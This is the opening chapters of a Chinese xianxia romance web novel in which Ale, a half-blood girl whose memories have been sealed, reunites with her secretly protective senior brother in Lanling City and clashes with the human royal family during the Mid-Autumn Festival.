《浮生烬:师兄,清灵山见!》
1. 重逢(上)
六界苍茫,神族、龙族、人族、鲛人族,妖魔族,万年秩序,皆系于一道天规:血脉相淆者,天地共诛。
翻译成人话就是说,各族之间不可通婚,不然后代会带有“浮生烬”,这个能量不受控制,又能量巨大,一不小心携带者轻则暴毙而亡,重则方圆百里也会遭殃。
人族地界-兰陵城
天色已黑,兰陵城里陆续亮起各色灯光,街道两旁摆满了小摊,混杂着小贩们卖力的叫卖声。人群熙熙攘攘,再过两天就是中秋节了,好不热闹。
忽然,一阵疾风迎面吹来,一道红影穿梭过人群,有一小孩没站稳顺势摔倒在地上,“哇”一声哭了起来。
还未等路人反应过来,红影已跑远。
只听得见远方轻轻地飘来一句:“抱歉—实在抱歉!”
寻不到人,路人只好对着空气骂骂咧咧了几句。
街道又恢复了热闹。
没人注意到道路两旁的房檐上接连闪过几道黑影,看样子正在追逐着什么。
绕过几条街道,“林府”两个描金大字赫然在眼前。
红影回头看了一眼,他们快追了上来,一转身便没入了大宅。
宅内黑灯瞎火,偌大的院府居然一个仆人也没有,应该是很久没有人居住了吧。
可是院子里的花花草草又是一派勃勃生机的摸样,不像是没人打理的样子,随手打开一间偏房,也是干干净净一尘不染。
院墙外响起一阵“窸窸窣窣”的声音。
“老大,这里是林府,咱们怎么办?”
“费什么话,不进去怎么跟公主交代!?”
“那—就只能这样了——”
顿时,又传来一阵“叮叮当当”的声音,掺杂着“砰”一声,有什么人落入了院子。
“小兔崽子,给你爷爷滚出来!躲什么躲,有本事出来打一架!”
红影藏在墙角往院子里望了一眼,心中默默咒骂了一句:“哼,打不过就出这些损招!”
看了一眼手中传来丝丝凉意的剑,此剑通体雪白,剑柄上“寒冰剑”三个字反射着寒光。
这把剑是自己在外游历时捡到的,说来也奇怪,自从自己捡到这把剑,确实是少了很多麻烦,有一次遇到一群妖魔族的小妖本看她独自一人想要找她些不痛快,她才亮出此剑,那些小妖们便落荒而逃。
心中暗暗定了定,给自己加油打气了一番,“好吧,这次一定也会逢凶化吉的,加油阿乐!”
深吸一口气后,便跳出墙角,双手叉腰站定在院前。
只见那几声“叮叮当当”是来自于一个不知道到底是什么“东西”脚上的铁链。
阿乐上下打量了一番眼前的这“东西”,说他算是人族吧,却又长着一张妖魔丑陋的脸,光着的上半截身子身子还能看到有些鱼鳞般的东西。
是个混血儿吧!难道是鲛人族跟妖魔族的结晶?
这鲛人族也算是之前跟着龙族东征西战的,怎么会跟妖魔族混在一起,阿乐疑惑的“啧”了一声,虽然声音很小,却还是被对方听见了去。
对方显然因为这“混血儿”身份不是一次两次被看不起了,瞬间怒火被点燃,手中聚起一阵狂风向阿乐袭来。
阿乐拔出“寒冰剑”握在手中,靠着这仙剑,侥幸抗过了几次风袭。明知自己不是对方的对手,若是硬抗恐怕不用过几招就占下风,只能是智取了。
阿乐心中措词了几番,“我瞧你这摸样,不是你那鲛人族母亲自愿生下的吧!怕不是你那阴险狡猾的父亲巧取横夺的吧!”她自责自己要说这戳人心的话,握住剑的手又传来阵痛。
阿乐甩甩头,不行不行,这话太混账了。
来不及多想,话已说出口:
“我瞧你这摸样,父亲一定丑极了吧!”
“哈哈哈哈哈”
显然这句话既毫无杀伤力甚至把对方逗笑了。
“小妮子,不如就从了爷爷我吧,爷爷我会好好疼爱你的!”说罢,那粗壮的大手便伸了过来,阿乐来不及躲闪,便被对方擒了去。
一股烂鱼烂虾腐臭的腥味扑面而来,阿乐一阵反胃吐了这“东西”一身。
“你这小妮子,怎么————”
话音还没落,一阵巨大的爆炸声响彻夜空,阿乐还没反应过来怎么回事,只感觉自己已被扔了出去,那张丑陋的脸在自己眼前炸开,变成一滩烂泥落在地上。
脑中浮现出“浮生烬”三个字。
阿乐眼看着与自己越来越近的大地,还未来得及反应胸口一闷,一口鲜血吐了出来,两眼一黑便晕了过去。
屋顶上站着两人静悄悄的看着发生的这一切,其中一人一头乌黑长发随意披散在肩头,手中把玩着一把白扇,高大挺拔的身姿在夜光下尤为惹眼,眼尾上吊,一双丹凤眼实在是勾人心魄。
另一人微微颔首,毕恭毕敬道:“鹤老板,我们真不去看看阿乐姑娘吗?她快要砸到地上了!”
“这种事,轮得到我们出手吗?”说罢,合拢白扇往前一指,若楼顺着看去一道白影闪进院子,在阿乐快要与大地沉浸接触的瞬间一把捞进怀里。
“看吧,谁家媳妇自有谁疼!我们着哪门子急!”
与此同时府外传来几声尖叫,听声音应该是追杀阿乐的那几
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个黑衣人。
“上神饶命,我们有眼不识泰山,不知道这位姑娘是上神的人。”
刚才还在暗自庆祝的黑衣人,现在连反抗的机会都没有,通通被灵力困住不得动弹,正跪在地上求饶。
叶敬亭把怀里的女子往里再拢了拢,手里捏了个诀,从乾坤袋里召唤出一件神兽皮缝制的毯子轻轻盖上,这才看着这三个黑衣人,声音毫无波澜,实在听不出他是生气还是怎么样:“谁指示你们的?”
三人互相看了一眼,吞吞吐吐互相推攘,谁也不肯先开口。
“谁指示你们的?”这次的语气中夹杂着一丝怒气,三人不由得身后冒出一阵寒意绕到脖颈处,不自觉吞了口口水。
“上神,这个事情是这样的——”其中一个黑衣人道。
“我劝你们最好有话快说,这位上神呀,耐性可没那么好!”
三名黑衣人看着从天而降的男子,黑色长发任意飘在空中,一把白扇展开又合拢,绝色的面容带着邪笑正看着他们。
看来今天横竖都是死了。
“是王—”其中一名黑衣人话音未落,从远处飞来三柄短剑,精准的没入三名黑衣人咽喉,“咕噜咕噜”血漫过喉咙全从口里吐了出来,黑衣人瞪圆眼睛不甘心的看着远方就这样死了。
叶敬亭余光瞟了一眼短剑道:
“人族王氏。”
说罢便抱着阿乐转身离去。
“你都不去追一下凶手吗?还是因为对方是皇室怕了?”叶鹤把玩着手中的白扇,揶揄道。
“你去。”叶敬亭面不改色回道。
叶鹤看着叶敬亭抱着阿乐远去的背影,抱手笑道:“都十年了,还是那么宝贝啊。”
听书楼。
叶敬亭轻车熟路的找到阿乐房间,小心仔细的安顿好便离开了。
“月色撩人,你就那么走了?”叶鹤的声音从窗外飘来。
“明天再来。”叶敬亭垂下眼眸淡淡道。
“又是悄悄摸摸守在身边?她外出历练这一年,你就真没露过面?”白扇遮住半张脸,露出叶鹤似笑非笑的丹凤眼。
“她有我的‘寒冰剑’,没人敢欺负她。”叶敬亭回头看了眼沉沉睡去的阿乐继续道:“明天重新认识。”
“她腰间挂的那‘灵牌’也是你做的吧!”叶鹤继续问道。
叶敬亭点点头,混血儿的身份容易招来麻烦,所以炼制了“灵牌”覆盖了她龙族气息,避免身份被认出。
烛火在墙上跳舞,昏黄色的烛光照出叶敬亭眼底一片柔软。
叶鹤掩面轻笑,这样温柔的叶敬亭也就这个时候能看到了。
2. 重逢(下)
要说这兰陵城最热闹的地方,除了那西城的百花苑,便要数这东城的听书楼了。
这听书楼可是个妙地方,不管你是谁都可以来这说故事,要是听到喜欢的也可以出钱把故事买了去,店家还得送你一坛镇店之宝:“秋露白”。若你是那穷苦的路人,也没关系,只要你说的故事够好听,也可以在这蹭到一顿饭。
不管是那神族、龙族、人族、鲛人族、妖魔族的人路过这也要来听上几段故事,喝上几坛“秋露白”才走,听书楼从早到晚门庭若市,来来往往的商人、游客络绎不绝。
阿乐一身红衣穿过人群,围在一老者身旁,听得津津有味。
“大家都知道这各族尊长都有约定,各族之间不允许通婚。不然这生出来的混血儿打从娘胎里出来就会带着一股混沌能量—‘浮生烬’,这股能量大的能够毁天灭地,小一点的也会危害四方,最重要的就是这股能量难以规训,不能被携带者所控制,总会引发大大小小的一些祸端。”
围观者一顿点头。
“但爱情嘛,缘分定。它可不管你是哪族人,看对眼了就是看对眼了。是吧!”
围观者又是一顿唏嘘,看来这凄美的爱情故事没少听。
说到这,这老者眨巴眨巴眼睛,故弄玄机压低声音道:“想当年,那神族的流云灵尊与龙族公子就结下姻缘,爱得死去活来,最后生下了个龙神混血,你想想那孩子体内的‘浮生烬’得有多厉害!”
见围观者都被自己吊起了胃口,老者心里盘算着今天可以大赚一笔。
“当年我可是有幸见到过他们。流云灵尊真不愧是神族第一美人,那摸样长得凤凰路过也得退避三分。那龙族公子也是一表人才,风度翩翩,两人站在哪儿,风景都会黯然失色。”
有人插话:“那他们后来怎么样了?”
老者长叹一口气道:“咳咳咳,据说是都被他们的孩子害死了。”
围观者又议论开:“那混血儿真是害人害己”
“可那也是灵尊与龙族公子相爱的结晶啊”
“那后来那混血儿怎么样了?”
老者继续道:“毕竟流云灵尊那是神族天尊的师妹,她的孩子天尊怎么会不管。在灵尊出事之后,那孩子被天尊带回清灵山了。
十年前,那清灵山上发生一起重大‘浮生烬’事件,直接把那清灵大殿炸成灰烬。当时那惨状,整座清灵山大震不断,山上的仙鸟神兽四处散尽。大概率就是那混血儿干的。”
四周又议论起来:“那混血儿恩将仇报啊”
“可那也是她控制不了”
旁人又有人问:“那混血儿还活着吗?”
老者煞有介事的捋捋胡子,仰脖喝了口“秋露白”,引得周围人一阵催促,才缓缓道:“嘿嘿,闹出那么大动静,体内的‘浮生烬’一旦爆发,那就是浮生若梦,终归烬灭,活着的机会渺茫咯!”
阿乐目不转盯的看着老者,吃完最后一口馒头,揉了揉拳头,冲进人群,一拳砸在老者脸上。
围观人如惊弓之鸟,“唰”一下四处散开。
老者不知所以,忙求饶:“这位女侠,不,这位仙子,手下留情,老朽可有什么地方得罪仙子?”
阿乐放下刚举起的拳头,凑近道:“你刚才说的那流云灵尊和龙族生下的混血儿怎么回事?”
老者眼睛滴溜溜转了几圈,灵力聚集探查到阿乐腰间“灵牌”,道:“原来仙子是神族的人啊,老朽说的可是句句属实,并未抹黑,那混血儿确实——”
阿乐叹了口气,拳头如数砸在老者脸上,嘴里嘟囔着:“本姑娘什么时候去过清灵山,什么时候‘浮生若梦,终归烬灭’了?”
那老者听不清阿乐嘴里嘟囔着什么,只是一个劲求饶,见求饶不过,手里捏诀打算偷袭,唤出一对榔头在空中对着阿乐身后重重砸下。
等了一会,发现阿乐还是在揍自己,老者疑惑道:“我榔头呢?”
“在这!”一阵清冷的声音从身后传来。
周围一阵骚动,特别是附近的姑娘全都迅速聚拢过来,把他们团团围住。
阿乐转过身,一袭白衣飘飘的公子正好站在面前,清晨的薄光围着他身形度了一圈光晕,阿乐一时有些眩晕,清淡的五官配在一起简直天神之作,两片薄唇上下开合,只顾着看他的摸样,完全听不清他在说些什么。
“上神,你快替老朽做主啊!这位姑娘不分青红皂白就揍我!”老者看着叶敬亭,准备抓紧这根救命稻草。
叶敬亭未接话,把刚从空中拦下的榔头丢在地上。
阿乐一看到这对榔头便明白了几分,一拳捶在老者头上,“这榔头是你的?还准备暗算本姑娘??”
不等阿乐雨点般的拳头再次落下,一阵黑烟从老者体内钻出,老者瞬间只剩一副皮囊软趴趴的倒在阿乐手上。
阿乐一看原来是妖魔族的鬼把戏,气不打一处来,准备飞身追上,却被叶敬亭一把拦下。
“姑娘,你手流血了。”
“啊?不碍事不碍事,就是一点小伤嘛—”阿乐摆摆手,却撞上对方担心的眼神,心脏突突的没由来多跳了几下,脸上有些温热。
叶敬亭脸色一软,手掌覆在阿乐手背上,一阵清凉之意传来,阿乐知道这是在替她疗伤。
又是惹得周围姑娘一阵骚动。
“咳咳,这里围那么多人是干嘛呀?”
听书楼的老板向来都是神秘人物,连在这的老伙计都鲜有见面。大家都只知道老板是个绝美的人,一头黑发随意披散,一把白扇风度翩翩,特别是那双丹凤眼,传闻当年龙族公子都被魅惑到。
今日一见,果然不负众望。
人群中发出阵阵惊叹,有小姑娘声音激动得颤抖:“今天是什么日子,居然能同时见到两名帅公子。”
阿乐脸上一阵红又一阵白,连忙挣脱开叶敬亭的手。
“鹤哥哥,你怎么才来!昨天阿乐回城,你也不去接应我!”说着抱着手把头扭去一边。
叶鹤瞟了一眼叶敬亭装作不认识,白扇合拢敲了一下阿乐头顶,缓缓道:“你这小没良心的,昨晚谁把你从那府里接回来的?”
“哈?是你接我回来的吗?我还纳闷谁能大晚上进得了你这听书楼,原来真是你!”阿乐开心的蹦到叶鹤身旁,扯着他袖子撒娇道:“院子里埋的那坛‘秋露白’,你没一个人偷喝吧!”
叶敬亭看着阿乐拉住的袖子,向叶鹤投来一记冷冽的目光,叶鹤白扇掩面偷笑对他视而不见。
一个箭步,叶敬亭赫然站在两人中间,叶鹤嘴角含笑,两人四目相对,却又一言不发。
周围的议论声越来越多:“他们俩不会是情敌吧!”
“不好说,你看人这小姑娘长得也俊俏得很—”
“真想听听他们的故事。”
眼看周围人把他们仨的故事都快编排到:鹤老板与红衣仙子在大婚之日,白衣公子持剑抢婚,阿乐实在听不下去了,忍不住拉过叶鹤:“鹤哥哥,这个公子刚才帮我疗伤,也算是我恩人,然后我现在肚子很饿,我们快去吃饭吧!”
说罢向着站在一旁的若楼使劲使眼色,若楼看了一眼叶敬亭还是泰然自若的样子,急忙与叶鹤眼神请示了一下,憋住笑引着三人往楼上雅间走去。
经过那么一阵闹腾,楼下人群并未散去,有几个经常来说故事的人甚至已经开始动笔编排新故事。
雅间内。
若楼按照阿乐的口味安排好一桌的饭菜后,便退下了。
在外游历这一年,别的不说,阿乐最想念的便是这楼里的饭菜,特别是鹤哥哥酿的这“秋露白”,入口甘醇带着一丝清甜,最重要的是不伤身,喝再多第二天都不会头痛,像阿乐这样酒量欠佳的小白喝上一坛也是不在话下。
“这位公子,我叫阿乐,方才真是谢谢啊!不知怎么称呼?”阿乐斟满一杯“秋露白”乖巧的递给叶敬亭,脸颊上淡淡红晕一直未散。
真是造化弄人啊,以前的阿乐遇到叶敬亭哪有这般乖巧,非要惹得叶敬亭头冒青筋才肯罢休。
叶鹤隐忍着笑意,看着叶敬亭这冷脸还能保持多久。
果不其然,叶敬亭马上换了一副脸色,眼角都温柔了起来,接过“秋露白”道:“叶敬亭。”
叶鹤看着叶敬亭把“秋露白”一饮而尽,鄙夷的摇摇头,这还是他那滴酒不沾的小师弟吗?
看来这十年,他也悄悄改变了不少。
一番寒暄客气后,大家也算熟络了起来,准确的说是阿乐对叶敬亭更熟悉了一些。
此时,叶敬亭抬眼递了个眼神给叶鹤。
叶鹤假装没看见。
叶敬亭顿了顿刚准备自己开口问,叶鹤抢先道:“阿乐,昨天袭击你的混血儿是怎么回事?”
阿乐舔舔嘴角,两坨粉红色红晕一直挂在脸颊上甚为可爱,叶鹤看着那平时对谁都一副冷脸的小师弟,今天这眼神从踏进这听书楼,就一直未离开过阿乐,斜睨了一眼,嘟囔道:“自古英雄难过美人关呀。”
阿乐开始眉飞色舞道:“在回来的路上,我路过大泽陆遇到一队妖魔族正在与一队装扮华丽的队伍纠缠在一起。那队伍挂着旗帜上面写着‘王’字,应该是人族王氏,那就是皇室家族啦,怎么着也是皇亲国戚了吧!却也不知道怎么就会惹上那群小妖们,人族厉害的修士也不少啊,更何况那是王氏,匪夷所思的是明显王氏占在下风。那本姑娘怎么可能袖手旁观,就拿出我的‘寒冰剑’—”
说到“寒冰剑”,叶鹤挑眉望向叶敬亭,却被回敬一个冰冷的抬眸。
阿乐不明所以还在手舞足蹈的说着当时的场景:“我明明帮了他们,最后我也不知道为什么,那王氏不但不感激我,昨晚还派那‘混血儿’来对付我。”
阿乐气呼呼的对着两人一顿输出,由于太过激动正大口喘着粗气。
叶敬亭倒了杯热茶递过去,“慢点说,不着急。”
阿乐一口气喝完茶,面朝叶敬亭叉着腰站着,喝了些酒有些晕乎乎,回想起昨晚在眼前炸开的脸,甩甩头大声道:“人族王氏,真是恩将仇报!”
此时,叶鹤觉察到楼里传来陌生的气息,来者不善。
“啊呀,我的小祖宗,怎么喝点酒就胡乱说话,别给你哥哥惹麻烦啊!”叶鹤拉过阿乐坐下,对着叶敬亭指指屋外。
叶敬亭心领神会点点头。
不一会,房间外便响起若楼的声音:“几位爷,这楼的雅间已经被人包了,楼上还有一间,您受累再往上走一走吧。”
“让开,不要啰嗦,让你带去哪就去哪儿!”粗声粗气的声音传
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来。
“林将军,好好说话。”一个温润的声音道。
连串的脚步声悉数停在了房门口,阿乐还有些晕晕叨叨不知道发生了什么,但是她听到外面来了一群人,未等两人反应,她已经走到门前一把拉开道:“啊呀,来者便是客,快来一起喝酒啊—”
叶敬亭转眼便到她身旁,还是晚了一步,她已经搂上了站在中间穿着金黄色袍子的男子,旁边人倒吸一口凉气,侍卫纷纷拔刀相向。
“这可是当朝皇子,你竟敢—”
“林将军,闭嘴!!”
叶敬亭面无表情扫了一眼,背在身后的手灵力乍起,随时准备还击。
气氛一时间有些紧张,除了阿乐。
“你们也进来一起喝啊,跟你们说这听书楼的‘秋露白’真是极品!”阿乐迷迷糊糊看到大家神情有些紧张,摆摆手拉着黄袍男子跨进屋里先坐下了。
“林将军,把刀收起来,在外面等我!”短短几句话尽显威严。
几名侍卫只好悻悻收了刀,把屋外围了足足三层。
“啊呀,这气宇轩昂的气质,必定是王氏贵客啊!今日到访听书楼,是有什么鹤某可以效劳的吗?”叶鹤瞬间换了一副市侩嘴脸,满脸堆笑。
“鹤老板,可别整这一套了,王某日后还要仰仗你们神族的庇护啊!”黄袍男子想必就是当朝大皇子吧,早耳闻人族皇帝潜心修炼早已不理朝政,这朝廷里外都是由这大皇子打理。看来今日也是有备而来,还提前做了功课。要知道叶鹤在这开的听书楼除了几位师兄弟,其他更是无人知晓的,在这人族地界更是用的化名,连在这的伙计都未曾见过他几次。
就不知道做的功课有多少,除了知道他是神族以为还知道些别的什么没有。
叶敬亭斜睨了他一眼,落座在阿乐旁边,不言不语。
“来,王兄,咱们喝一杯!”阿乐看气氛有些尴尬,开始招呼着要喝酒。
叶敬亭眉头微蹙,伸手已然来不及,阿乐已经与这黄袍男子搂肩搭背,大喊着:“本姑娘今日与我大哥不醉不归。”
“对了,大哥,我叫阿乐,你怎么称呼啊?”阿乐眼前出现三个黄袍男子的脸,有些分不清哪个才是他本体,胡乱对着空气问道。
没想到黄袍男子不但不生气,反而端起一杯酒一饮而尽:“在下王一林。你就是昨天在林府的那姑娘吧!前几日也是你在大泽陆救的舍妹吧!真是抱歉,舍妹从小被宠坏了,我替她来给姑娘赔罪。”
叶鹤微愣了一下,这是唱的哪一出?
人族皇子为舍妹赔罪甘愿来陪酒?没那么简单吧!
叶敬亭可管不了他要唱的是哪一出,抬眸冰冷的扫过阿乐搭在他肩上的手,“令妹没事就好!”说罢把阿乐的手从肩上挑下。
“你又不是不知道,喝完酒的阿乐可是越不让干嘛就越要干嘛,你就随她去吧!”叶鹤传来密语,他其实主要还是怕这小师弟失控惹上麻烦,这好歹人族皇子,现在还是在人族地界,还是不要招惹的好。
可——已经来不及了。
阿乐又摇摇晃晃拉着王一林要去拜把子,“大哥,以后你就是我阿乐的大哥,有我阿乐一口肉就有大哥一口饭。”
叶鹤扶额,真是小祖宗,还不如一直在外历练算了!回来干嘛?自己清闲的日子看来今天开始就结束了。
此时阿乐荡荡悠悠没站稳,身子不由得向后倒去,叶敬亭一抬手一把椅子瞬移到阿乐身后准备好接住,却不料被王一林抢先一步,把阿乐接在怀中。
叶敬亭眼底已冻起三尺寒冰。
叶鹤眼前一阵白光闪过,叶敬亭一把揽过阿乐:“不牢王兄费心。”
王一林并未打算放手,反而把阿乐拉得更近。
叶鹤感觉不妙,连忙上前打圆场:“阿乐是我妹妹,我来我来。”
叶敬亭眼眸闪过一丝不耐烦,一抬手,大理石的桌子升在半空中急急向王一林砸去。
王一林怕阿乐受伤,只好把她抛向空中,被叶敬亭稳稳接住。
桌子被王一林凌空劈碎。
外面侍卫听到屋内动静,纷纷冲进屋,为首的林将军命人抓住叶敬亭,却只看到一道白影极快划过房间再眨眼已消失不见。
叶鹤查看王一林并未受伤松了一口气,看着这一地破碎,欲哭无泪心里默默道:“钱啊——钱——”
王一林看着叶敬亭抱着阿乐远去的方向,饶有兴趣道:“有趣,真是有趣—”
“皇子,什么有趣?您没受伤吧!”林将军上下查看有无伤痕。
王一林对叶鹤道:“叶老板,真是不好意思啊。明天中秋节,赏脸一起吃顿饭吧!放心,今日这些都算我的。”
叶鹤心道:“肯定得算你的啊!”
脸上却堆笑道:“那真是让您破费了。”
“哦,对了,明天帮我叫上阿乐和这位公子吧。”王一林道。
叶鹤微笑不语,只是把玩着手中的白扇。
“那我明天再来拜访。”说罢带着侍卫浩浩荡荡的离开了。
若楼从楼下爬上来看着这一地狼藉吩咐人来收拾。
叶鹤倚在窗边看着这队伍上飘荡的旗帜,用金线绣的“王”字赫然在目,轻叹一口气:“害,看来以后得日子也算是要‘热闹’起来了。”
3. 中秋节(上)
若楼每天天刚亮就要起床,督促着楼里一切业务的开展,毕竟听书楼不是客栈,每天早点开门便能早点赚钱嘛。
最后这句话是叶鹤说的。
若楼才走到前厅,便看到一个英姿挺拔的白色身影正看着窗外若有所思。
“叶大哥起那么早啊,想吃点啥,我吩咐厨房准备!”
自从这听书楼十年前在兰陵城开张,若楼就是这里面的伙计,虽然知道他与鹤老板是师兄弟,但这性格却是大相径庭。这叶敬亭总是板着张脸,他也是差不多用了五年时间才说得上几句话,这两年才稍微熟络了些。
“按照阿乐的口味准备。”叶敬亭眉眼间多了一丝笑意,如是说道。
“好嘞!”只有与这阿乐姑娘相关的事情,他才会多一些耐心和笑意,对于他们俩的事,若楼也略知一二,两人都挺不容易,一个被封印记忆记不起对方,一个不露面也甘愿默默守在身旁,真是一对苦命鸳鸯,心中还是默默希望他们有情人终能成眷属。
这楼里才刚刚准备好开张,门外已经人声鼎沸,看来今天中秋节,来兰陵城的游客又增加了不少。
这中秋节按理说是属于人族的节日。这人族对于过节日可谓是花样百出。每年除了有很多好吃好玩的表演,固定节目都要去那兰陵城内河游船、放天灯,场面壮观浪漫,吸引不少各族人员来过节。
不一会儿,听书楼里便坐满了。
围观最多人的是一个年轻男子,人称妙嘴爷。这男子只看上半张脸俊俏无比,就是这下半张脸,嘴巴奇大,感觉可以生吞下一个婴儿。这也不是他第一次来听书楼了,每次带来的故事都能换得一桌好菜。
看来今天又是有备而来。
“前日在林府,没错,就是那大皇子在兰陵城的府址之一,有一混血儿不知从哪里捉来一小娘子拉着进了府里,却不料那混血儿没控制住,体内‘浮生烬’爆发差点引发了一场悲剧。当时在场小娘子差点被误伤。”
众人才听说与这故事与人族皇室有关,纷纷围拢过来。
阿乐一身红衣嘴里叼着半个馒头,漫不经心东瞅瞅西看看,看到这里最热闹也围了过来。
“在人族地界爆发‘浮生烬’,还是在那林府,大皇子怎么可能坐视不管。才第二天便查明真相,亲自到这”妙嘴爷说到此处,用力抬脚点了点台子,接着道:“那可是大皇子,人族未来的领导者啊,亲自来到这给那小娘子陪酒道歉,你们说,这样的皇子天下还有谁?”
聚集在旁的姑娘们又开始发出一些细细的尖叫声,直到妙嘴爷拿出王一林的画像,尖叫声已然达到顶峰。
“英俊潇洒吧?”
“英俊!”
“正人君子吧?”
“正人君子!”
“三文钱一张不过分吧?这可是本人授权的画像!”
“不过分!”
阿乐嚼着馒头看着这买画像的场面摇摇头,这些姑娘的钱也太好赚了吧!昨天见到那王一林也没画像上那么好看啊。
“看什么?”一股清冷的声音从头顶飘来,接着眼前便出现叶敬亭的俊脸。
“叶大哥,你身上好香啊,是不是喷洒了什么?”阿乐使劲抽了抽鼻子。
叶敬亭疑惑的对着自己闻了闻,摇摇头道:“没有。”
“你洗衣服时候是不是放什么了,真的好香啊!”阿乐又往前凑了凑,仰头看着叶敬亭,脸上笑嘻嘻的。
叶敬亭每次那么近距离看着阿乐的时候,都是她睡着的时候。一恍惚楞了神,嘴角也不自觉跟着阿乐上扬。
叶鹤站在楼上看着对着傻笑两人,白扇在手里摇来摇去,笑道:“两个傻子。”
转身往楼上走去,不一会又折了回来,对着若楼道:“喊他们上来雅间,有要事商量。”
“老板,喊谁?”若楼扫视了一遍大厅,那么多人。
“傻笑的那俩!”叶鹤道。
楼上雅间内。
“今晚王一林约我们夜游内河?”阿乐又重复了一遍,神情有些激动。
叶鹤点点头,随即又望向叶敬亭。
叶敬亭还是面无表情。
“好啊好啊,我还担心我回来晚了,这个时候已经约不上船夫了。”阿乐拍拍手,看样子很开心。
“那一定有很多好吃的吧,今天有口福咯!那我们晚上见啦!”说罢便开心的出去了。
叶敬亭抬脚也想跟着出去,被叶鹤拦住。
屋里只剩下两人。
“你什么时候有兴趣陪这些皇亲贵族了?”叶敬亭道。
“呵呵,你也知道的嘛,今天包船是平时的十倍价格。”叶鹤讪讪笑道。
叶敬亭无奈的摇摇头,轻叹一口气。
叶鹤轻笑,白扇在手里轻轻转动,顿了顿继续道:“那你要不要去吗?”
“中秋节,当然要去。”白敬亭回道,脑海里浮现出在阿乐刚来清灵山的时候,偷跑出去过中秋节,被自己抓包,被师父罚扫整个清灵山茅厕,还不允许用灵力,阿乐欲哭无泪的脸,眼底一片笑意。
叶鹤看着叶敬亭知道他又想起以前在清灵山的事情。
那时候大家还都是一开始的摸样,真好!
天色很快暗淡下来,夜空中月亮又大又圆就这样明晃晃的挂着,不知今日又有多少人只能望月相思。
城内早已迫不及待的明亮起来,街上挂起各式各样的灯笼,平日里见不到的小吃也摆满街头。
叶鹤、叶敬亭、阿乐三人走在街上,这颜值、这气质、这身高人群中最炸眼的存在,惹得路人纷纷侧目。
在这样重要的节日,阿乐精心打扮了一番,她记得小时候娘亲总是跟她说:不管在什么时候都要把自己打扮得精精神神。
她抬头看看圆月,想起以前中秋节娘亲总是会做一桌好菜等着爹爹回家一起吃。她记不清他们走了多久了,为什么还不来找她,是被很重要的事情耽搁了吗?
叶敬亭看着阿乐神情暗淡,对街边小贩的叫卖都没有理会,他知道她又想家了。
“阿乐,你看这个灯笼很好看!”叶敬亭指着前方一盏莲花灯道。
听到有人叫自己,阿乐猛然抬起头,看到叶敬亭提着灯款款走来。
莲花灯散发着暖橘光,映射在叶敬亭白衣上,看着特别温柔,这样的画面有些熟悉,却又记不起来在哪里见过。
心里好似升起了一轮小太阳,把刚才的黑暗都驱散了。
“呐,中秋节不都要买个灯笼吗?”叶敬亭把莲花灯递给阿乐。
看着阿乐展开的笑眼,手不自觉向她头发上拂去,刚要触碰到,听到叶鹤在一旁“咳咳”两声,又悻悻收了回来。
“谢谢,敬亭哥哥。”
“——不必说谢。”叶敬亭本想说“我们之间不必说谢”,又怕阿乐觉得有些冒昧。
阿乐乖巧点点头,虽然两人相识不过几天,对眼前这位白衣公子却是非常信任。
河上飘着许多许愿灯,把整片河面照得闪闪亮。
“这个许愿灯好漂亮,一会儿我也要放一个。”阿乐看着河面,眼眸也被照得亮闪闪。
“嗯。”叶敬亭点点头。
“阿乐姑娘,鹤老板,这位白衣公子,皇子有请。”昨天与王一林一起去听书楼的那个林将军带着几个侍卫划着一条小船前来。
抬眼望去,河中央停靠着一轮大船。船上隐约传来歌舞声,看这派头也只有王氏才有的实力。
阿乐远远看着大船,猜想着应该有许多好吃好玩的吧,不自觉咽口水,“来啦来啦—”
不等林将军的小船靠岸,便迫不及待飞身而去。
叶敬亭、叶鹤随即也跟了上去。
果不其然,船上确实热闹非凡。
几个穿着奇装异服带着动物面具的艺人脚下踩钢圈,嘴上吐着火,粗壮手臂上还各自站着一个性感美娇娘。另一边坐着一排乐师,不知演奏的是什么歌曲,在空中可以看到有花瓣飘荡,音符入耳只觉着烦心事全部都不见了,心情无限好。
看着桌上摆满各种山珍海味,阿乐心道:“果然没来错!”
“鹤老板,来坐这边!”王一林对着三人招招手,今日他一身素衣,倒显得顺眼了一些。
阿乐喜滋滋往前走去,丝毫没有注意到王一林身边坐着一个打扮华丽的女子此时此刻正气鼓鼓的看着自己。
“那个应该就是人族公主-王娇阳。”叶鹤在叶敬亭旁低语道。
叶敬亭轻轻点头,随即跟上阿乐,落座的时候刻意隔在了阿乐与她中间。以目前她做的事情来看,平时里只怕是被骄纵惯了,谁知道今天她又会做出什么出格的事情来。
叶鹤自然的隔开阿乐与王一林,他可不想今晚上小师弟与王一林两人又打起来,这皇家的船想必比他那楼里的桌椅贵多了。
“阿乐,这些都是请兰陵城里最好的师傅做的饭菜,你快尝尝!”王一林仿佛看不到中间隔着的叶鹤,只顾着招呼阿乐。
阿乐早就饿了,开心的点点头,拿起筷子就开吃。
“皇子,今日请我们前来就只是赏月吗?”叶鹤把玩着手中白扇,扇子一抻挡在王一林面前,王一林这才反应过来。
“鹤老板,昨日突然前去贵楼,实属有些冒昧了。今日吾妹也在,就当做是‘赔罪席’了。”王一林示意了下坐在叶敬亭旁的王娇阳。
这位公主是人族王氏唯一的女儿,从小就是在全族宠爱中长大。又修得几分灵力,也没机会出去好好历练过,她这身份修士们与她过招也只敢让着她,哪敢伤她半分,久而久之更是嚣张。放眼整个人族也只有皇帝跟这皇子的话她还听得几分。
王娇阳看了看王一林,不情愿的端起酒杯举向阿
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乐道:“上次不好意思啊!”顿了顿接着道:“那也怪你自己多管闲事!”
阿乐停下筷子,拿起酒杯回敬道:“是我多管闲事了,我也不知道人族公主修为那么弱啊,打个小妖都打不过。”
说罢微笑看着王娇阳。
从来没有人敢这样跟自己说过话,王娇阳额头上青筋冒起,随即把酒杯奋力向阿乐砸去,却被阿乐轻巧躲开。
王娇阳更生气了,从腰间抽出鞭子便向阿乐急急抽去,阿乐本没打算动手,看到对方这样咄咄逼人,手中捏诀祭出“寒冰剑”把鞭子挡了回去。
“骄阳,别闹,快把鞭子放下!”王一林喊道,他这妹妹下手没有轻重,倒不是怕阿乐打不过,实在是怕打过了才麻烦。
叶鹤看着叶敬亭镇定自若的摸样,看来他是探过这王娇阳修为虚实了,不是阿乐对手,便笑嘻嘻道:“皇子,没事的,江湖儿女切磋一下也无妨。”
半空中两人一个持鞭,一个拿剑,就这样对峙着。
王娇阳恨的牙痒痒,一鞭接着一鞭狠狠抽向阿乐,阿乐拿着剑也不躲闪,来几鞭便用剑挡几鞭,几个回合下来王娇阳灵力渐散,有些吃力了。
